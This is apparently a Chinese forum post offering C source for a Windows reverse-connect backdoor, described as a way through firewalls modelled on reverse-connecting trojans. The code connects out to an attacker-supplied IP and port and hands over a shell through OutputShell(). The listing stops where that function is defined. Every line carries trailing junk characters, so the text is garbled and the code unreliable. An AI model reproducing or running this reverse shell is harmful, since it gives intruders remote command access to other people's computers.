这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 <6.`(isph
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/* ============================== mDA+
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Rebound port in Windows NT ?vWF[ DRd'
By wind,2006/7 @`B_Q v@
===============================*/ 0r$n
#include R9- mq;u+
#include d7X7_
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#pragma comment(lib,"wsock32.lib") ~S~+'V,d
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void OutputShell(); Z-}A"n
SOCKET sClient; QS4~":D/C
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; *e:I*L
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void main(int argc,char **argv) VL"Cxs
{ z^9rM"
WSADATA stWsaData; EcytNYn
int nRet; Hv'
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SOCKADDR_IN stSaiClient,stSaiServer; D\J.6W
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if(argc != 3) 8ZjRMr}
{ yZoJD{'?Sw
printf("Useage:\n\rRebound DestIP DestPort\n"); %<O~eXY
return; u+6L>7t88I
} P%R9\iajH
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WSAStartup(MAKEWORD(2,2),&stWsaData); 5D7k[+6
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i3L2N~:V
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stSaiClient.sin_family = AF_INET; >s.y1Vg~C
stSaiClient.sin_port = htons(0); <wd;W;B
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); dxS5-aWy9w
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) bl10kI:F
{ wQ9@
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printf("Bind Socket Failed!\n"); ug"4P.wI
return; 6rCUq
} Z TB6m`
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stSaiServer.sin_family = AF_INET; d{ B0a1P
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); d6??OO=~>M
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); uz20pun4B
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~RBa&Y=Mb
{ 4v{Ye,2
printf("Connect Error!"); B|M@o^Tf
return; B
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} 7xWJw
OutputShell(); 1>2
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} z 9WeOs
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void OutputShell() Zz'g&ew